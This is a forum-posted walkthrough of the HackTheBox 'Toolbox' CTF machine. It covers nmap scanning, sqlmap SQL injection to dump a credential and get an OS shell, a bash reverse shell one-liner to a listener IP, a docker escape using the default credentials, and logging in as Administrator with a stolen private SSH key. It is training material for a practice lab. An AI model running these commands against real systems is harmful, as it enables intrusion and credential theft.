• We just launched and are currently in beta. Join us as we build and grow the community.

Toolbox HackTheBox Walkthrough

amallxw

Gas Saver
A Rep
0
0
0
Rep
0
A Vouches
0
0
0
Vouches
0
Posts
54
Likes
104
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 200 XP
Introduction

Toolbox is a CTF Windows box with difficulty rated as “easy” on the HackTheBox platform. The machine covers SQL injections, gaining interactive shell, escaping container and escalating privileges from boot2docker VM by using a private SSH key.

Table of Content

Network Scanning

  • Nmap

Enumeration

  • Inspecting the SSL certificate on the admin.megalogistic.com domain

Exploitation

  • Exploiting POST-based SQL injection
  • Spawning interactive shell using SQLi

Privilege Escalation

  • Escaping docker VM boot2docker using default credentials
  • Vertical escalation using readable private SSH key found on a mount point

Let’s deep dive into this.

Network Scanning

The dedicated IP address of the machine is 10.129.224.18. We’ll run an nmap scan on this machine’s IP

Code:
nmap -A 10.129.224.18

Open ports are:

  • 21 running FTP with anonymous login enabled
  • 22 running SSH
  • 135 running RPC
  • 139 running NetBIOS
  • 443 running HTTPS server
  • 445 running SMB server

AVvXsEg6u0LvFCKytOA7PaXgDI16y4HhXgepdRw4BcgHmjWhCap4w1blYGP1gqUB6hasQo_NpzVXPGhPGn7HWZp_mTI9ZkiI2s5u-vr5j43Gy1S5Ypxz5fysocDgFqxWOyoOqp5L6GHZ42yYDFNPSh0rDc2dGnVXsizHM5WYwz_1POQmI5yaOoP-hKzWgoYqeg=s16000


Upon opening the IP in the browser, we see a logistics website running

AVvXsEjhJhjdFH7jzu6t13tT98m9ERe1Yhk_1Blmz6_-2kgw8aO8l9VGiU56ZpfXXG-5M1K55xutWfced5RJqSae6Pmdjc-4C2DC-q5_KsK070XXifhBsRsKEAVCyQrkH6_RcfVonlC0NPwSTQ2_zouFyYrQMo8F_YEEQVu91EcAdshgVtCUtGmeokJG9huVoA=s16000


Enumeration

Upon inspecting the SSL certificate, we found that SSL is registered with the domain: admin.megalogistic.com

AVvXsEidJgKZBRAIG9KoxOGeheTgAuVMRzgtWpq_WCTHzrsK5YJLf-1wJqGSWx3Vl-cDDvXA3Ataxajvy3ATszj0sg7QvSWparX13nxzOg5nZL5kX815uHoboTEoJ0awb1ywHu1G8vrSavWUNWyC8MiPi5tUNJajwetH1tz3Pfns0_3Hmapgeqw8lp4KyOh3nw=s16000


So, after adding this IP in /etc/hosts as admin.megalogistic.com, we open it in our browser and see a login page.

AVvXsEhNuMaj2pXMUaf5eSpLWLJ-g0TJcwLR82iPFVVMMQUOrsSwB3m_0RiQdHTYk9JO50KpWxtUiVydYj6ZFdieNB7pSL32u2aWBURbLdCZlrHBB84tab60LA9h58pIMevkd9DRCXPjXBw61fNLusRlha0rn78RjZ8SMG74nQlCIJLu1FwVwl41ayiRjIov5Q=s16000


Exploitation

Upon hitting and trying other options, we decided to check the login page against SQL injections. So, we’ll input random username and passwords and capture this request using Burpsuite.

AVvXsEhuiI-nnX3-JlxKenYZ6HaSDV4o1uk_SIlNsLPsOYTSlp56Al0XnXS2C03lmRD-J_NNEZDjBNsbiQGhV2L9EfCORxkeCeyyBAWNOsIpb1ALY24M0VGDNPN1oD9jc-ygosOrhK1lk0vS-cu4SWsS_HaaL1n1qsaUxlgQIxDmjcQ2xWH-vLzyZkniyW1UCw=s16000


We can save this request into a file “req.txt” and then run sqlmap to check if there exists an SQLi vulnerability. As we can see upon running sqlmap, site is vulnerable to SQLi and has in turn given us out three existing databases too!

Code:
sqlmap -r req.txt --dbs --force-ssl --batch

AVvXsEhUEcPxnFSUOA8u8e1XasrfRRgub-52DRPyM3yYaVbq3pRIWwU7dZV5zuUqkrv8R12fRwNccGjyQAcGAQ0FhMCF_TBpv7cVSC1gVwzFH6xV1abio77vVhSoDTN2mzGcKrcapM_7MZIgyrmNIvKCNHHZUrjwSNMp8Sj3buxEew41AZAyNnrQqyT1kOVUoA=s16000


The database “public” seemed interesting and thus, we tried to dump its content.

Code:
sqlmap -r req.txt --dbs --force-ssl -D public --dump-all --batch

It fetched us hashed credential of a user admin.

AVvXsEhmixFDMbIsow2Z81fo07jBmZcDYkQIUzLY86nr8TDwCJga9HpwLxoda7bUVKpUrzD3M9dnqo1hq1ppltMZrpL-YF5aSztu8kgoHp8SlQgN9xy8QSCKlUkuSoB9Nn93TmiNx7ScOe7xFjYElK8TLPa0CyUrJgf8Kx2-aUhuE57PIdNzwczJglN7EROVzQ=s16000


Trying to login using this credential failed to yield any fruit. So, we tried to spawn an interactive shell using sqlmap itself

Code:
sqlmap -r req.txt --force-ssl --batch --os-shell

As you can see, an interactive teletype has been spawned. Note that if the command above throws an error try this command instead:

Code:
sqlmap -r req.txt --force-ssl --batch --os-shell --flush-session --time-sec=20

AVvXsEjKCU3NZ6D1XGBo_jqjyAVIm0Y3XJHUsc6zzcIuGWfeOwfI1hBX3X6l3it4rrNrn9Z9r2EH9-uI1oEYlWF6M7_OXuXVvq7ZsnHZFLOixjswsjqXjJcKiWyWFSrKajctD4qo_FULdqM0lNLLDKXaN8vGHQYUKG3oT-txPWTlB8XH_zIX5W2h6iKurZLq4Q=s16000


Now, we used this os-shell and gained a much more efficient bash shell using bash one liner

Code:
bash -c 'bash -i &> /dev/tcp/10.10.14.100/4444 0>&1'

AVvXsEhHz3C95ZXdG6heKYhAnNj6dxPDxQBKLjff6_i-_EgqEzjqlfrAZ-h9T-vDnxDWRdJL3SbbxxQ7ieCY81oue4a_lSM6IaOS9qI8Dme_2J73LKuNnA7ewssLGFCuh_wwD3rfiTAe0mCK2FBfpqO8uQRqvdUpZVkA9O5hkmDl7G72za66nMMC60hhV1nNyA=s16000


We have spawned a bash shell on our listener set up!

Privilege Escalation

When we run ifconfig, we see that the IP address suggests the installation of a docker container here. Upon typing “uname – a” we can confirm that boot2docker virtual machine is running. Docker-Toolbox is used to manage container VMs on a system. (now I understand the box’s name!) When we read the documentation here we see that the docker host is always present at the gateway IP address with default credentials- docker:tcuser

Since the container IP is 172.17.0.2, the gateway IP is 172.17.0.1. We tried to login to docker user using default credentials and were successful!

Code:
ifconfig
python3 -c 'import pty; pty.spawn("/bin/bash")'
ssh [email protected]
tcuser

Furthermore, upon inspecting sudoers file, we see that docker could run any command as root and so we compromise the root user of this boot2docker VM using the command

Code:
sudo -i

In the system directory, we find an interesting folder “c”

AVvXsEiKXzGGFaSFbpWJcUJg19oW8nR0ZYmco_KxZ_O4J-FtT6oxCKrfv3orus0ucbcTumeeWvc-EeqiLidTRPi3c4-_mKQJysizPf82nTLobD9zdJ-bSuBnSOa8JVQJoj9OwMo0523LeAWEtQV4K6G2Hu77I4yJjhFQ_gzZk1AB0aU9FbDpnf9oSWDvUSkj1Q=s16000


Clearly the system has mounted C: directory from the base windows system. We traversed this mount and see that a directory “.ssh” had 777 permissions

AVvXsEiCnWCAQPeMGFLZEtccL1zMkn1tiLyXZSxqd7PHfPsJ6t_XKdesvpyiRUikaGlpLzJ9uQCXI6hA4oOzNTL1ekuyjuSRhPIwoS8osBnZf6A0cSM2NNt6y8L8lYP9_A1XFsF-j6ye0fYIv9IdGAv7ZgEtG076QV7umxXxfgWYI8LS_0mxyjeXXkaFoYomdg=s16000


We go into this directory and copy this private SSH key onto our local system.

AVvXsEiJg9PAKbu0sIiyZD7STdVsDKuK079BB_5ksH2MNpEynLN_azwgEcuXle_b7r2wELjd8ANSwptii_RKce8-0FRh6qXrkHrfyWjwmqU6jx-myHntjDLx5MJuEHo8CxRDciJT58ex_7MHOTgmGxHvwq6XnyikYnYOV2774TapTHo5YNx3zhUCHNx5SBHh9w=s16000


we can save this file with the name “key”, change its permissions to 600 and connect to the Administrator account of the Windows system.

Code:
nano key
chmod 600 key
ssh -i key [email protected]

AVvXsEiZVxj8g3iomxWBuDmt3f7gmN0iQEP6ZHubkD5Q6O9ZmQJ4Qb_RMnxKpBNRDf-6wwHEHVbon2e_MAo9ZAxNERhm1tlLStMNM6RNBHkuAYeurERv6RHXckoefxyiNcJQkJ7i_3wy8RRkDlmwux0pxLQEMQPVzPQ8jCuMFNXEKyOJh5cyYjWUATUTjBFgLg=s16000


This way we are able to escalate our privileges vertically! We can go to the Desktop of this system and read the congratulatory flag.

AVvXsEiY_DpVjCyxM4FvzoMxIoh98j5683bSHJRNqjGpsegWAGulw-a9kDw-uEO9gQxwHKO5WVW4aymT7IWybCWob7dHG9nqyL4HR0_o9DBeb3Tpw_UBI5q_MUW-Y3L4blFm73r2SBFNbo9GPdojAfN-emv1UcYaAAN8vSjD9m-_7jjR2LtV25hp4E2ryhovQw=s16000


Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
 

452,496

336,529

336,537

Top